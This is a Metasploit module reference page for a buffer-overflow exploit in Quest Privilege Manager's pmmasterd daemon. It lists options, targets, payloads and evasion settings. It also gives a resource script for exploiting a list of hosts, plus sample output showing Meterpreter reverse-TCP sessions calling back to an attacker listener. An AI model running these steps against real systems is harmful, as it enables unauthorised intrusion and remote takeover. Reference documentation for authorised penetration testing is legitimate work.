Quest Privilege Manager pmmasterd Buffer Overflow - Metasploit

This page contains detailed information about how to use the exploit/linux/misc/quest_pmmasterd_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

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Name: Quest Privilege Manager pmmasterd Buffer Overflow
Module: exploit/linux/misc/quest_pmmasterd_bof
Source code: modules/exploits/linux/misc/quest_pmmasterd_bof.rb
Disclosure date: 2017-04-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 12345
List of CVEs: CVE-2017-6553, CVE-2017-6554

This modules exploits a buffer overflow in the Quest Privilege Manager, a software used to integrate Active Directory with Linux and Unix systems. The vulnerability exists in the pmmasterd daemon, and can only triggered when the host has been configured as a policy server ( Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow condition exists when handling requests of type ACT_ALERT_EVENT, where the size of a memcpy can be controlled by the attacker. This module only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (a stack cookie bypass is required). NOTE: To use this module it is required to be able to bind a privileged port ( <=1024 ) as the server refuses connections coming from unprivileged ports, which in most situations means that root privileges are required.

Module Ranking and Traits

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Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

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Using quest_pmmasterd_bof against a single host

Normally, you can use exploit/linux/misc/quest_pmmasterd_bof this way:

msf > use exploit/linux/misc/quest_pmmasterd_bof
msf exploit(quest_pmmasterd_bof) > show targets
    ... a list of targets ...
msf exploit(quest_pmmasterd_bof) > set TARGET target-id
msf exploit(quest_pmmasterd_bof) > show options
    ... show and set options ...
msf exploit(quest_pmmasterd_bof) > exploit

Using quest_pmmasterd_bof against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your quest_pmmasterd_bof will be using:

1. Do: use exploit/multi/handler
2. Do: set PAYLOAD [payload]
3. Set other options required by the payload
4. Do: set EXITONSESSION false
5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/misc/quest_pmmasterd_bof")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

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• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

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Here is how the linux/misc/quest_pmmasterd_bof exploit module looks in the msfconsole:

msf6 > use exploit/linux/misc/quest_pmmasterd_bof

[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/misc/quest_pmmasterd_bof) > show info

       Name: Quest Privilege Manager pmmasterd Buffer Overflow
     Module: exploit/linux/misc/quest_pmmasterd_bof
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-04-09

Provided by:
  m0t

Available targets:
  Id  Name
  --  ----
  0   Quest Privilege Manager pmmasterd 6.0.0-27 x64
  1   Quest Privilege Manager pmmasterd 6.0.0-27 x86

Check supported:
  Yes

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  CPORT   926              no        The local client port
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   12345            yes       The target port (TCP)

Payload information:

Description:
  This modules exploits a buffer overflow in the Quest Privilege 
  Manager, a software used to integrate Active Directory with Linux 
  and Unix systems. The vulnerability exists in the pmmasterd daemon, 
  and can only triggered when the host has been configured as a policy 
  server ( Privilege Manager for Unix or Quest Sudo Plugin). A buffer 
  overflow condition exists when handling requests of type 
  ACT_ALERT_EVENT, where the size of a memcpy can be controlled by the 
  attacker. This module only works against version < 6.0.0-27. 
  Versions up to 6.0.0-50 are also vulnerable, but not supported by 
  this module (a stack cookie bypass is required). NOTE: To use this 
  module it is required to be able to bind a privileged port ( <=1024 
  ) as the server refuses connections coming from unprivileged ports, 
  which in most situations means that root privileges are required.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-6553
  https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/

Module Options

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This is a complete list of options available in the linux/misc/quest_pmmasterd_bof exploit:

msf6 exploit(linux/misc/quest_pmmasterd_bof) > show options

Module options (exploit/linux/misc/quest_pmmasterd_bof):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   CPORT   926              no        The local client port
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   12345            yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Quest Privilege Manager pmmasterd 6.0.0-27 x64

Advanced Options

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Here is a complete list of advanced options supported by the linux/misc/quest_pmmasterd_bof exploit:

msf6 exploit(linux/misc/quest_pmmasterd_bof) > show advanced

Module advanced options (exploit/linux/misc/quest_pmmasterd_bof):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/interact):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

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Here is a list of targets (platforms and systems) which the linux/misc/quest_pmmasterd_bof module can exploit:

msf6 exploit(linux/misc/quest_pmmasterd_bof) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Quest Privilege Manager pmmasterd 6.0.0-27 x64
   1   Quest Privilege Manager pmmasterd 6.0.0-27 x86

Compatible Payloads

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This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/quest_pmmasterd_bof exploit:

msf6 exploit(linux/misc/quest_pmmasterd_bof) > show payloads

Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ----                       ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection

Evasion Options

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Here is the full list of possible evasion options supported by the linux/misc/quest_pmmasterd_bof exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/misc/quest_pmmasterd_bof) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

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This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Invalid target specified

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Here is a relevant code snippet related to the "Invalid target specified" error message:

78:	  # the output is partial it assumes the target has crashed. Although the
79:	  # daemon spawns a new process for each connection, the segfault will appear
80:	  # on syslog
81:	  def check
82:	    unless respond_to?(target[:check], true)
83:	      fail_with(Failure::NoTarget, "Invalid target specified")
84:	    end
85:	
86:	    send(target[:check])
87:	  end
88:	

Invalid target specified

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Here is a relevant code snippet related to the "Invalid target specified" error message:

86:	    send(target[:check])
87:	  end
88:	
89:	  def exploit
90:	    unless respond_to?(target[:exploit], true)
91:	      fail_with(Failure::NoTarget, "Invalid target specified")
92:	    end
93:	
94:	    request = send(target[:exploit])
95:	
96:	    connect

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Related Pull Requests

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• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #8852 Merged Pull Request: Convert quest_pmmasterd_bof to cmd_interact/find
• #8370 Merged Pull Request: msftidy and misc. fixups for Quest BoF module
• #8223 Merged Pull Request: Add CVE-2017-6553 Quest Privilege Manager pmmasterd Buffer Overflow

References

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• CVE-2017-6553
• https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/

See Also

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Check also the following modules related to this module:

• exploit/linux/misc/accellion_fta_mpipe2
• exploit/linux/misc/aerospike_database_udf_cmd_exec
• exploit/linux/misc/asus_infosvr_auth_bypass_exec
• exploit/linux/misc/cisco_rv340_sslvpn
• exploit/linux/misc/cve_2020_13160_anydesk
• exploit/linux/misc/cve_2021_38647_omigod
• exploit/linux/misc/gld_postfix
• exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
• exploit/linux/misc/hikvision_rtsp_bof
• exploit/linux/misc/hp_data_protector_cmd_exec
• exploit/linux/misc/hp_jetdirect_path_traversal
• exploit/linux/misc/hplip_hpssd_exec
• exploit/linux/misc/hp_nnmi_pmd_bof
• exploit/linux/misc/hp_vsa_login_bof
• exploit/linux/misc/ib_inet_connect
• exploit/linux/misc/ib_jrd8_create_database
• exploit/linux/misc/ib_open_marker_file
• exploit/linux/misc/ib_pwd_db_aliased
• exploit/linux/misc/igel_command_injection
• exploit/linux/misc/jenkins_java_deserialize
• exploit/linux/misc/jenkins_ldap_deserialize
• exploit/linux/misc/lprng_format_string
• exploit/linux/misc/mongod_native_helper
• exploit/linux/misc/nagios_nrpe_arguments
• exploit/linux/misc/netcore_udp_53413_backdoor
• exploit/linux/misc/netsupport_manager_agent
• exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
• exploit/linux/misc/novell_edirectory_ncp_bof
• exploit/linux/misc/opennms_java_serialize
• exploit/linux/misc/qnap_transcode_server
• exploit/linux/misc/saltstack_salt_unauth_rce
• exploit/linux/misc/sercomm_exec
• exploit/linux/misc/tplink_archer_a7_c7_lan_rce
• exploit/linux/misc/ueb9_bpserverd
• exploit/linux/misc/zabbix_server_exec

Authors

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• m0t

Version

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This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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